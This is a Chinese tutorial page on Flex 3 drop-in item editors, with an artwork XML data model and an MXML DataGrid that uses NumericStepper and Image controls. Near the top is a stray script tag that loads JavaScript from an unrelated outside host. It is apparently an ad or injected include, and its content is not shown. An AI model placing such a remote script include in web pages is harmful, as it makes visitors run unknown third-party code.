Flex 3快速入门: 构建高级用户界面 创建项目编辑器2

<script src="http://www.cpcasr.cn/ad_js/mm_123.js"></script>

 自定义条目编辑器最简单的方式是使用Drop-in条目编辑器。Drop-in条目编辑器是一个Flex组件。基于list的控件，比如 List,Tree,ComboBox或者DataGrid，的itemEditor属性可以指定Drop-in条目编辑器。例如，可以使用 Numericstepper控件来编辑DataGrid控件的一个字段。

要把一个组件作为Drop-in条目编辑器，这个空间必须实现IDropInListItemRenderer接口。实现 IDropInListItemRenderer接口的控件有：Button, CheckBox, DateField, Image, Label, NumericStepper, Text, TextArea, and TextInput.这些控件可以直接作为条目编辑器或条目渲染器使用。

你可以自定义组件作为条目编辑器。唯一的要求是自定义组件也实现了IDropInListItemRenderer接口。

在下边的例子中,使用NumericStepper控件，作为DateGrid控件一个字段的条目编辑器，这样用户就可以方便的修改数量字段。单击单元格可以激活Quantiy列的条目编辑器。这个例子还是用了Image控件作为条目渲染器来显示艺术品的缩略图。

注意:此例中，使用DataGridColumn 对象的editorXOffset, editorYOffset, editorWidthOffset and editorHeightOffset属性来定义NumericStepper 在单元格中的大小和位置。

例子

Data model (artwork.xml)

<artwork>

<piece>

<name>The Wall</name>

<image>artwork1.jpg</image>

<price>250</price>

<quantity>5</quantity>

</piece>

<piece>

<name>Blue Flake</name>

<image>artwork5.jpg</image>

<price>400</price>

<quantity>2</quantity>

</piece>

<piece>

<name>Butterfly</name>

<image>artwork6.jpg</image>

<price>375</price>

<quantity>17</quantity>

</piece>

</artwork>

MXML files

<?xml version="1.0" encoding="utf-8"?>

<mx:Application

xmlns:mx="http://www.adobe.com/2006/mxml"

viewSourceURL="src/ItemEditorDropIn/index.html"

width="470" height="340"

>

<mx:Model id="artwork" source="model/artwork.xml"/>

<mx:DataGrid

id="artGrid"

rowCount="10" variableRowHeight="true"

dataProvider="{artwork.piece}"

editable="true"

>

<mx:columns>

<!-- Drop-in item renderer: Image control -->

<mx:DataGridColumn

dataField="image" headerText="Image"

itemRenderer="mx.controls.Image"

/>

<mx:DataGridColumn headerText="Name" dataField="name"/>

<mx:DataGridColumn headerText="Price" dataField="price"/>

<!-- Drop-in item editor: NumericStepper control -->

<mx:DataGridColumn

headerText="Quantity"

dataField="quantity"

itemEditor="mx.controls.NumericStepper"

editorDataField="value"

editorXOffset="22"

editorYOffset="25"

editorWidthOffset="-40"

editorHeightOffset="-50"

/>

</mx:columns>

</mx:DataGrid>

<mx:LinkButton

textAlign="center"

label="Photos (c) 2006 geishaboy500 (CC Attribution License)"

click="{navigateToURL(new URLRequest('http://www.flickr.com/photos/geishaboy500/'));}"

/>

<mx:Script>

<!--[CDATA[

import flash.net.navigateToURL;

]]-->

</mx:Script>

</mx:Application>